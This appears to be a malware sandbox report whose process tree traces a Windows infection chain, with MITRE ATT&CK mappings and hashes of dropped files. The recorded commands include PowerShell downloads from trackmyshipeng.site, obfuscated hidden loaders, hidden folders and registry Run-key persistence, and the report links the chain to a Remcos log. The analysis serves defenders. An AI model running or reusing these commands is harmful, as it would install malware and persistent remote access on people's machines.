- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5332 /prefetch:1
    3⤵
    PID:1320
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
    3⤵
    PID:64
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5664 /prefetch:8
    3⤵
    PID:1012
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5664 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4996 /prefetch:1
    3⤵
    PID:2256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:1
    3⤵
    PID:5060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
    3⤵
    PID:1052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5740 /prefetch:1
    3⤵
    PID:4292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4824 /prefetch:2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
    3⤵
    PID:4100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:1
    3⤵
    PID:1564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5416 /prefetch:1
    3⤵
    PID:3408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5988 /prefetch:1
    3⤵
    PID:4368
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
    3⤵
    PID:1168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5580 /prefetch:8
    3⤵
    PID:2792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5996 /prefetch:8
    3⤵
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:4748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4028 /prefetch:1
    3⤵
    PID:2900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2008,897132672075810958,3299861861236173444,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1480 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\new.bat" "
  2⤵
  PID:2332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipeng.site:9094/DXJS.zip' -OutFile 'C:\Users\Admin\Downloads\DXJS.zip' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\DXJS.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3548
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:2452
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\Downloads\Python"
    3⤵
    - Views/modifies file attributes
    PID:3508
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe moneey.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:2416
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe momennt.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:3008
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe updatte.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:1432
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe uploaad.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:1652
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe timme.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:2348
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe kamm.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:2824
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe momenttomo.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipeng.site:9094/startupppp.bat' -OutFile 'C:\Users\Admin\Downloads\startupppp.bat' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipeng.site:9094/FTSP.zip' -OutFile 'C:\Users\Admin\Downloads\FTSP.zip' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\FTSP.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3016
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\Downloads\Print"
    3⤵
    - Views/modifies file attributes
    PID:3892
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:436
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3872
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5064
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5008
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1916
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4780
- - C:\Users\Admin\AppData\Local\Temp\xcmdab.bat
    "C:\Users\Admin\AppData\Local\Temp\xcmdab.bat"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3452
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Afkalkninger=Get-Content 'C:\Users\Admin\AppData\Local\glassiness\sneboldkampen\Unaccumulation.Ann';$Baseballdom=$Afkalkninger.SubString(53409,3);.$Baseballdom($Afkalkninger)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      PID:784
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:1288
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Bereareft" /t REG_EXPAND_SZ /d "%Massen% -windowstyle minimized $anepithymia=(Get-ItemProperty -Path 'HKCU:\Ciselure\').jacconot;%Massen% ($anepithymia)"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4740
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Bereareft" /t REG_EXPAND_SZ /d "%Massen% -windowstyle minimized $anepithymia=(Get-ItemProperty -Path 'HKCU:\Ciselure\').jacconot;%Massen% ($anepithymia)"
        7⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2112
- - C:\Users\Admin\AppData\Local\Temp\rvudlv.bat
    "C:\Users\Admin\AppData\Local\Temp\rvudlv.bat"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:456
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Umyndiggrelserne=Get-Content 'C:\Users\Admin\AppData\Local\glassiness\sneboldkampen\Kongehuses.dco';$Cramer37=$Umyndiggrelserne.SubString(54804,3);.$Cramer37($Umyndiggrelserne)"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      PID:1132
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:184
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Desoxalate" /t REG_EXPAND_SZ /d "%Tithable% -windowstyle minimized $Remrkningers=(Get-ItemProperty -Path 'HKCU:\Pauxi\').Adjustores;%Tithable% ($Remrkningers)"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:468
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Desoxalate" /t REG_EXPAND_SZ /d "%Tithable% -windowstyle minimized $Remrkningers=(Get-ItemProperty -Path 'HKCU:\Pauxi\').Adjustores;%Tithable% ($Remrkningers)"
        7⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:3456
      - C:\Users\Admin\AppData\Local\Temp\fusdhv.bat
        
        "C:\Users\Admin\AppData\Local\Temp\fusdhv.bat"
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4136
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -windowstyle hidden "$Whistlerian=Get-Content 'C:\Users\Admin\AppData\Local\honeymoonshine\eksportforretningen\Vejrtrkninger.Gra';$Rapunselens=$Whistlerian.SubString(53768,3);.$Rapunselens($Whistlerian)"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:380
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        8⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:1776
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tvillingbrorens" /t REG_EXPAND_SZ /d "%Datamaten% -windowstyle minimized $Agnete=(Get-ItemProperty -Path 'HKCU:\Skaberakkerne\').Sikkerhedsorganisationernes;%Datamaten% ($Agnete)"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:4852
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tvillingbrorens" /t REG_EXPAND_SZ /d "%Datamaten% -windowstyle minimized $Agnete=(Get-ItemProperty -Path 'HKCU:\Skaberakkerne\').Sikkerhedsorganisationernes;%Datamaten% ($Agnete)"
        10⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2256

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4628

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost
1⤵
PID:684

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
290B

MD5
7bdcbbca6ce30c022ad2ce6b6de308b4

SHA1
46544080dc6fb6ec5cfc75a6381362b648fef3bb

SHA256
aff42cc34eb352790179bd16397b99463f9c114d77a2ca3a445b9d5d9d79335e

SHA512
2e8a1a1572a84743df0e095577452fd80ff24567725c93e8752d1574daa2b3f58826321fca39b1a4516e2fea1a9ec0656fd5cbeab4ef793657e94a7922aaffd7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
709c6f4a32b317f6487b598788b6353d

SHA1
50f44d43be9630018f0bd2acb1528df07cd05b7f

SHA256
353aff71e8cf078c88c836e66d86be266ddbe36496a597b9b5a5a87d21eae83b

SHA512
4f33792eb73a792c88e8e2dc8bef7b00a2af7b1b91f4bab0cd5076dd2cb9abbb752eb7e60a4c6204d15f9bca1562915f2468b94e5f01f79279e1e7469055f0a3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
9ebc024cdb324eb41f33c6ec63d1458d

SHA1
f623e96981ee63c1b6879f682c4364fd5c2265e5

SHA256
23b9bd7316816043f42a80784e7f247f3afebd3dbe370fbc702189a6a0dddb1f

SHA512
6971b6430bc01a36c48bc1e41cf8c4bed65a2890837f7778a896072159940ae739d11834176cc7be6cf6fa0f2ea9e6764c30cd23beadcc88c390e5573bbad097

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
87ea17eb12cd690ae63356f328af6151

SHA1
006fdc37068e2e725cc46b6c1d6b23acd0f35f9d

SHA256
a5920d94c9114badb0ae109ab574b3b6b688f37adfc1269ccde352c432743648

SHA512
8a44c9f6e49ff853798bc920210acd7a0f65a93e55962716760b6a67b7f3b9833cd0445458ac2c2f8fed683ced6eb8ff9287e599f09a212915cd75c1e3ede8b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
494B

MD5
eabb093045314a67e06f2dad62f83232

SHA1
34902880ca10d1534538e6cf3867171a5798a047

SHA256
9bc2f8c964a13ae39df856f1fea03a338fc553a67ad154cc765b49a3ef323730

SHA512
ec575b82d21ac52e5cc7919c443c2904404d6bb7b89425a24de3a4a7725713e7d74735bb69cffe6e70d933994db82c786e149105bfb0f23ef62249aa27df8f75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
564B

MD5
5c64bbd06f9a2a62c5e6f87d4900fc1d

SHA1
42e8baff63852d48b9f31510e4d7a52d744deb26

SHA256
fda66d8b8ac2bfb0606b88825d4af63aa3d192c20331dc606fa765c38a2a6079

SHA512
dc1289720c02b746e0e2e7c065061216c4efa213812d7d1cd9ea544f7c36b38814fbe6acc131e1dc762ae41a5c2af79fef8670f7f78b8a33fe7ed1e238855054

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
15b066b57be30e50d6f229a9798aef6e

SHA1
b900fd2a2713bb36cd7716d4c1dffae736b464a7

SHA256
f5b975c8305596cd3304f613a72c27d7a026734123be2ab5e62e9136fb69070e

SHA512
3ecd87e99a05fe5f4aa74a72deda4255e278334e91045db0fda2c3b17ed95851f99b4ff0238dc257809d7f851e6255799824e5ceaf1fe427b4e063a44828f4d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
2891e8070a9e36059ddaf133726f54cd

SHA1
6ebbd6b64fe7f04db6da61485e74699ee07bdbd2

SHA256
6dbe73f6239efc0efcd13a2483992192ad314cdd790d0fac370c94d699d6ce53

SHA512
e1dd98811ebbc6f5566c3f5548433ea2e03946271bf4a2d11a3f2fdb927723177bfcb71953432edba64209a64075efe9f4deea9e3d556c3481ab39ecdeb5f23d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ca056d0867da1b50ff30754db333f3a9

SHA1
30e01b52dcc0dc63fc8d0c94c901342355271a32

SHA256
eb24e121d77455b5d05314aa1325a53031aca62f91e57c07fc2e7de2686e5c6f

SHA512
3a975a51b2b5da7d13c5894b09fc37cbc27ed1a928147948a084032cdc6f6a43ed68c4c3829b164ca280df27e78a628b6dfa47ea13586b5fe945c82dce181ddd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
10c031424b778b085b18490eadc4fef7

SHA1
285a67a8d8cf85095f2d1b548b5491b9d75da8c4

SHA256
79849ab5082fd0dcb7bdbcbf8c68ebe9faed08c005c13293f09aac390151efbb

SHA512
93cb1c3408664ba7c44e86c84f7dfba743e34b821e077ac25bd1ed449aeaffdea76318741185b8b973d857836f215a8d30e0e1db170d890e9052a93576c37a37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
232e7a2177edb5653c8324b3b7726cc6

SHA1
b1d6f5107198c2b3284ec549bc919853cf89decd

SHA256
3ba6586654049ba2f04bb8e4d1c363e381a4c41033e3e24771693fd0305eccaf

SHA512
1c8b38c7b3b5156eafd99e8c837ddf1916bd5114c2da73cdedb4b91937e1708f5b9a5e9d910b9c00aad3586f9066597f8c934acdbed80b1bba217e1790bc251d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
f87fdf1f252e444212cbc1627de3e9a4

SHA1
8bf5ba6b322d722d19f1af30d5d4c6e9a8fcc158

SHA256
e6125767310461634f51299fa23ec4c1491a7384e16fadac0c76f6db9d444c6e

SHA512
1cc6d40a23cb51be66f8e576c557d325d1724832f72e965956013fbfcc9f1efde6d52de703dabbdfeea68fa0c00d156c70a184cabfbcf79304bbe38048868b1e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
e398ec1e8d770cda7051633bbc08f197

SHA1
80fe8ffea95a370ec58a9151ef0389f4ac442f33

SHA256
d5622680b4c2ee775f952cf363a0a9829c126084efa0e155b96b7e5df8082e24

SHA512
1e6902f37524d303f2fbcd6cc85e6b1da15d663ee2959e4c13ea7067a817c405bb887eee61896433d29499e60696e5b6d3b5580f0ed328cfbe86a1ec554113e6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
494a861dfe3fb61b7f6e9a8e1f92d179

SHA1
903db9c91a888cdd2a359e921ea2c1a958228aa9

SHA256
46ffd9cec0b1524402f64218ea9584cb751cd61e56eae54ac0ad61c55273c690

SHA512
f97bfb87546ee38f100ef52f6ee6d102d05feb378a940954a1953f5dc301e6ae7a91de2b2176dcac165a61abf867e06e3e31572a378b1abd9ea2768de76e7175

Download Submit
